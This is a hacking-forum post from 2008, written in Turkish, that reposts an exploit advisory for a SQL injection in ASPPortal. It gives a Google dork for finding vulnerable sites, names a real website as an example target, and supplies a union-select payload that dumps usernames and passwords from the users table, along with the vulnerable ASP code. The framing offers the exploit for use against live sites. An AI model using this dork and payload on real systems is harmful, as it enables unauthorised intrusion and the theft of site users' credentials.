Среда, 24.04.2024, 10:14
Приветствую Вас Гость | RSS

ASPPortal Free Version (Topic_Id) Remote SQL Injection - Forum

[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Forum » Web Hack » Web HACK » ASPPortal Free Version (Topic_Id) Remote SQL Injection (ASPPortal Free Version (Topic_Id) Remote SQL Injection)
ASPPortal Free Version (Topic_Id) Remote SQL Injection
ZeynalcikДата: Понедельник, 14.07.2008, 21:00 | Сообщение # 1
Генералиссимус
Qurp: Bas_Admin
Сообщений: 69
Репутация: 0
Статус: Burda yoxdur
ASPPortal Free Version (Topic_Id) Remote SQL Injection Vulnerability

Arkadaşlar Googlede Aratacağımız kod
intext:"Powered by www.aspportal.net"
Gelen Site Şu Şekilde Olacak...
http://www.surfcitytv.tv/content/home/default1.asp Bunu Gibi bişey işte Biz... content kısmına kadar olan yeri silelim ve
/content/forums/reply.asp?Forum_Id=3&Topic_Id=
Ekleyelim.... Şimdi sql kodumuzuda = den sonraya da
6+and+1=2+union+select+1,2,3,4,Password,6,7,Userna me,9,0,1,2,3,4,5+from+users ekleyelim ve enterliyelim...
Yani En son site şu şekilde oluyor...

http://www.surfcitytv.tv/content/for...1=2+union+sele ct+1,2,3,4,Password,6,7,Username,9,0,1,2,3,4,5+fro m+users

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+ ASPPortal Free Version (Topic_Id) Remote SQL Injection Vulnerability +==--
--==+=============================================== =====================================+==--
- dreaming of necessity is reason to comply -

[+] Info:

[~] Bug found by JosS
[~] sys-project[at]hotmail.com
[~] http://www.spanish-hackers.com
[~] EspSeC & Hack0wn!.

[~] Software: ASPPortal Free Version
[~] HomePage: http://www.aspportal.net/
[~] Exploit: Remote SQL Injection Vulnerability [High]

[~] Dork: "Powered by www.aspportal.net"

[+] Remote SQL Injection:

[~] Vuln file: /content/forums/reply.asp

// -------------------------------------- //

line 2: <%
Dim TopicID
Dim ForumID

TopicID = Server.HTMLEncode(request("Topic_id"))
ForumID = Server.HTMLEncode(request("Forum_ID"))
%>
<%
'sub db_select_detail_Disc_Topics
sql="SELECT Forums_Topics.Topic_ID, Forums_Topics.Forum_ID, Forums_Topics.Author, Forums_Topics.Topic_Subject, Forums_Topics.Topic_Message, Forums_Topics.IsActive, Forums_Topics.IsLocked, Forums_Topics.Date_Added, Forums_Topics.Created_By, Forums_Topics.Enable_EMail, Forums_Topics.Enable_Sign, Forums_Topics.Icon, users.Username, users.User_id, users.Signature FROM users RIGHT OUTER JOIN Forums_Topics ON users.User_id = Forums_Topics.Author Where Topic_ID = " & to_sql(TopicID,"number") & ""

'response.write sql

set rs = cn.Execute(sql)

line 21: TopicId = rs("Topic_Id")

// -------------------------------------- //

[~] [url]http://localhost/PATH/content/forums...Id=3&Topic_Id=[SQL][/url]
[~] 6+and+1=2+union+select+1,2,3,4,Password,6,7,Userna me,9,0,1,2,3,4,5+from+use
tongue

 
Forum » Web Hack » Web HACK » ASPPortal Free Version (Topic_Id) Remote SQL Injection (ASPPortal Free Version (Topic_Id) Remote SQL Injection)
  • Страница 1 из 1
  • 1
Поиск: